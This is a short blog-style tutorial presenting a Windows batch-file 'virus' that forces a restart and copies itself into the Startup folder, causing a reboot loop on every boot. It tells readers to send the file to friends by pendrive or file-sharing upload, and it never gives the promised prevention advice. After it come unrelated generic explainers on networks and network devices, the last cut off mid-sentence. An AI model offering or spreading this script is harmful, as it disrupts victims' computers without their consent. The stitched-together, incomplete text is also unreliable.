How to create a Batch File

This tutorial is about batch file programming, How to code a bit harmful virus using batch file and How to prevent against this virus. Read this amazing post and don’t forget to leave your feedback in comments.


Batch file commands :

@echo off
shutdown -r -t 100 -c “maverick”
xcopy “filename.bat” “C:Documents and SettingsAll UsersStart MenuProgramsStartup” /y
____________________________________________________________
Save it as any name with a .bat extension but with name *filename.bat*
you can change “maverick” with what ever message you want, You can also change “100“(in secs) with whatever time you want to restart.
if you changes *filename.bat* to “othername.bat” then also changes the above code to
|| xcopy “othername.bat” “C:Documents and SettingsAll UsersStart MenuProgramsStartup” /y ||
Send this file to your friends using a pendrive or by uploadig it to rapidshare/hotfile service.

LOGIC:-

.bat- Files having these extensions are known as batch files containg commands to be executed by command interpreter.
@echo off –  This command is used to turn off the display of executing command in command console.
-r – This parameter restarts the PC.You can also use “-s” (without quotes) to shutdown the PC.
-t :- This parameter specifies time in seconds.
-c :- This parameter is used to specify a message in the shutdown box.
xcopy:- This command copies the file specified with double quotes “othername.bat” to the location specifies (in this case startup) with double quotes “C:Documents and SettingsAll UsersStart MenuProgramsStartup”
Startup:This folder contans files to be open when ever your computer boot ups.If you place a file here it will automatically open that file on every boot.
y :- This parameter asks the command prompt to overwrite the file
After running this virus, your PC will restart and again and so on..
only way to stop this mess is to directly plug off the switch from the power board.

What is network

NETWORK TECH WORLD What is network  A network is a group of devices, such as computers, servers, and printers, that are connected together and able to communicate with each other. Networks can be classified based on their size and scope, such as a local area network (LAN), which is a network that is confined to a small area, such as a single building or campus, or a wide area network (WAN), which is a network that spans a large geographical area, such as a city or a country. Networks can also be classified based on their communication protocols, such as the Internet, which is a global network that uses the Internet Protocol (IP) to connect devices around the world.

Network Devices

NETWORK TECH WORLD A network device is a hardware device that helps to connect a computer or other devices to a network. There are several types of network devices, including: Routers: These devices route data packets between different networks. Switches: These devices allow multiple devices on a network to communicate with each other by forwarding data packets to the intended recipient. Hubs: These devices are similar to switches, but they do not filter the data packets based on the destination. Instead, they broadcast the data packets to all devices connected to the hub. Bridges: These devices connect two different networks and allow data packets to be transmitted between them. Modems: These devices allow computers to connect to the internet by converting data into a format that can be transmitted over a phone line or cable connection. Firewalls: These devices protect a network by blocking unauthorized access and monitoring traffic for any malicious activity. These are just a few exa...
